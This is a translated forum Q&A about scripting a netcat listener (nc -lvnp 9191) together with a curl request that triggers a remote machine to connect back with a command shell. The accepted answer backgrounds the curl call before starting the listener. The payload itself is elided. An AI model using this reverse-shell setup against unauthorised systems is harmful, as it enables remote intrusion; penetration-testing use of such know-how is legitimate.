在 Bash 腳本中一起使用 netcat 和 cURL

在 Bash 腳本中一起使用 netcat 和 cURL

這個問題與資訊安全更相關,但我似乎找不到自動化以下過程的解決方法:

有一個 cURL 指令可以觸發與 netcat 的連線。如果沒有自動化,我輸入nc -lvnp 9191, 並輸入其他在終端機中,我輸入 cURL 命令,該命令會在連接埠 9191 上建立與我的電腦的連接,然後我可以使用該連接在遠端電腦中執行一些命令。

我正在我的 Bash 腳本中嘗試這樣的事情:

nc -lvnp 9191&
curl ......

Netcat 啟動一個偵聽器,進入後台,cURL 觸發連接(我收到返回的連接),但 netcat 立即關閉。

$ ./shell.sh 
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.

nc -lvnp 9191&如果我從 Bash 腳本中刪除並僅在 Bash 腳本中保留 cURL 命令,則會發生以下情況:

$ nc -lvnp 9191&
[1] 22609
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
$ ./shell.sh
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
cmd>

但是,一旦我按下“回車”,netcat 作業就會立即暫停:

[1]  + 22609 suspended (tty input)  nc -lvnp 9191

我必須fg恢復網路貓的工作並繼續工作,但我想知道是否可以以某種方式將自己從這一切中拯救出來。

答案1

因此,在與某人討論後,我們終於設法讓它發揮作用。我們更改了行位置,因此curl首先出現(但作為後台作業),然後是netcat(無背景)。方法如下所示:

(sleep 2; curl .... &>/dev/null) &
nc -lvnp 9191

相關內容